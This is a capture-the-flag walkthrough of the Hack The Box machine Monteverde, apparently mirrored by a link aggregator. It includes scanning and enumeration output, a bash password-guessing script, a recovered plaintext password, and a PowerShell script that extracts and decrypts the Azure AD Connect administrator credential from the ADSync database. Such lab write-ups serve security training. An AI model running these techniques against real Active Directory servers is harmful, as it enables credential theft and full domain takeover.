Monteverde: Hack The Box Walkthrough
source link: https://hackso.me/monteverde-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
This post documents the complete walkthrough of Monteverde, a retired vulnerable VM created by egre55 , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Monteverde is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun1 -p1-65535,U:1-65535 10.10.10.172 --rate=1000 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-14 02:01:57 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 389/tcp on 10.10.10.172 Discovered open port 49671/tcp on 10.10.10.172 Discovered open port 53/udp on 10.10.10.172 Discovered open port 88/tcp on 10.10.10.172 Discovered open port 135/tcp on 10.10.10.172 Discovered open port 9389/tcp on 10.10.10.172 Discovered open port 49702/tcp on 10.10.10.172 Discovered open port 5985/tcp on 10.10.10.172 Discovered open port 49670/tcp on 10.10.10.172 Discovered open port 49669/tcp on 10.10.10.172 Discovered open port 636/tcp on 10.10.10.172 Discovered open port 464/tcp on 10.10.10.172 Discovered open port 53/tcp on 10.10.10.172 Discovered open port 3269/tcp on 10.10.10.172 Discovered open port 445/tcp on 10.10.10.172 Discovered open port 49667/tcp on 10.10.10.172 Discovered open port 3268/tcp on 10.10.10.172 Discovered open port 139/tcp on 10.10.10.172 Discovered open port 593/tcp on 10.10.10.172
Looks like the open-port profile of a Windows Active Directory server. Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -n -Pn -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -A --reason 10.10.10.172 -oN nmap.txt PORT STATE SERVICE REASON VERSION 53/tcp open domain? syn-ack ttl 127 | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-01-14 02:23:11Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=1/14%Time=5E1D23DE%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 9m24s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-01-14T02:25:57 |_ start_date: N/A
Sure looks like we have an Active Directory server here. The domain appears to be “MEGABANK.LOCAL”
. Let’s see what we can enumerate with the good ol’ rpcclient
.
# rpcclient -U% 10.10.10.172 rpcclient $> enumdomusers user:[Guest] rid:[0x1f5] user:[AAD_987d7f2f57d2] rid:[0x450] user:[mhope] rid:[0x641] user:[SABatchJobs] rid:[0xa2a] user:[svc-ata] rid:[0xa2b] user:[svc-bexec] rid:[0xa2c] user:[svc-netapp] rid:[0xa2d] user:[dgalanos] rid:[0xa35] user:[roleary] rid:[0xa36] user:[smorgan] rid:[0xa37]
Plenty of accounts. Let’s see what other information we can find.
rpcclient $> getdompwinfo min_password_length: 7 password_properties: 0x00000000
Interesting. The minimum password length is 7. I’m assuming that it’s a simple password looking at password_properties
.
What else?
rpcclient $> querydominfo Domain: MEGABANK Server: Comment: Total Users: 51 Total Groups: 0 Total Aliases: 23 Sequence No: 1 Force Logoff: -1 Domain Server State: 0x1 Server Role: ROLE_DOMAIN_PDC Unknown 3: 0x1
So, the domain is really MEGABANK
. Armed with the list of users, let’s see if we are lucky enough to obtain their TGT hashes. Maybe some of them have their “Do not require Kerberos preauthentication” set?
# for user in $(cat users); do python3 GetNPUsers.py -format john -no-pass "megabank/$user" -dc-ip 10.10.10.172; done Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for AAD_987d7f2f57d2 [-] User AAD_987d7f2f57d2 doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for mhope [-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for SABatchJobs [-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for svc-ata [-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for svc-bexec [-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for svc-netapp [-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for dgalanos [-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for roleary [-] User roleary doesn't have UF_DONT_REQUIRE_PREAUTH set Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Getting TGT for smorgan [-] User smorgan doesn't have UF_DONT_REQUIRE_PREAUTH set
No luck there. Fret not, recall the very relaxed password policy? Maybe, we can write a simple shell script to test for simple passwords that are at least seven characters in length?
guess.sh
#!/bin/bash HOST=10.10.10.172 DOMAIN=megabank USER=$1 PASS=$2 function die() { killall perl 2>/dev/null } # Try username as password first. Who knows right? if rpcclient -U"${DOMAIN}/${USER}%${USER}" $HOST -c "exit" &>/dev/null; then echo "[*] User: $USER" echo "[*] Pass: $USER" die exit 0 elif rpclient -U"${DOMAIN}/${USER}%${PASS}" $HOST -c "exit" &>/dev/null; then echo "[*] User: $USER" echo "[*] Pass: $PASS" die exit 0 fi
The script is driven by rpcclient
. We try the username as password first, otherwise, give the password list a shot. Let’s run it.
# for user in $(cat users); do parallel -j40 ./guess.sh $user {} < passwords.txt 2>/dev/null | tee $user; done [*] User: SABatchJobs [*] Pass: SABatchJobs ^C
Holy crap! This is surely a pleasant surprise.
Authenticated SMB Enumeration
Armed with the credentials ( SABatchJobs:SABatchJobs
), let’s see if we can enumerate file shares with smbclient
.
# smbclient -I 10.10.10.172 -L MONTEVERDE -U"megabank/SABatchJobs%SABatchJobs" Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin azure_uploads Disk C$ Disk Default share E$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share users$ Disk
Long story short, there’s a file azure.xml
that contains sensitive information at //10.10.10.172/users$/mhope
.
Let’s grab that file.
azure.xml
# cat azure.xml <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T> <T>System.Object</T> </TN> <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString> <Props> <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT> <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT> <G N="KeyId">00000000-0000-0000-0000-000000000000</G> <S N="Password">[email protected]$</S> </Props> </Obj> </Objs>
Another password??!!
PSRemoting / WinRM
Enter Evil-WinRM
. Armed with the credential ( mhope:[email protected]$
), let’s see if we can get ourselves a shell.
Awesome.
The file user.txt
is at mhope
’s desktop.
Privilege Escalation
During enumeration of mhope
’s account, I noticed that Microsoft Azure Active Directory Connect and Microsoft SQL Server were installed.
Google lands me to this excellent article . Taking a leaf from the article led me to searching for the appropriate Active Directory Synchronization parameters.
We can see the SQL server name and database name from above. Armed with this insight, we can attempt a SQL connection to the above database with the following PowerShell commands.
leak.ps1
$connection = "server=monteverde;database=ADSync;integrated security=true" $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList $connection $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() Write-Host $config
Running the script gave me this.
You can see that the administrator
credentials were used for Azure Active Directory Connect. Here’s the entire script to decrypt the administrator
’s password.
$connection = "server=monteverde;database=ADSync;integrated security=true" $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList $connection $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() # Write-Host $config add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted) Write-Host $decrypted
There you have it! With the administrator
’s password, it’s trivial to get another shell with administrator
privileges through Evil-WinRM.
The file root.txt
is at administrator
’s desktop.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK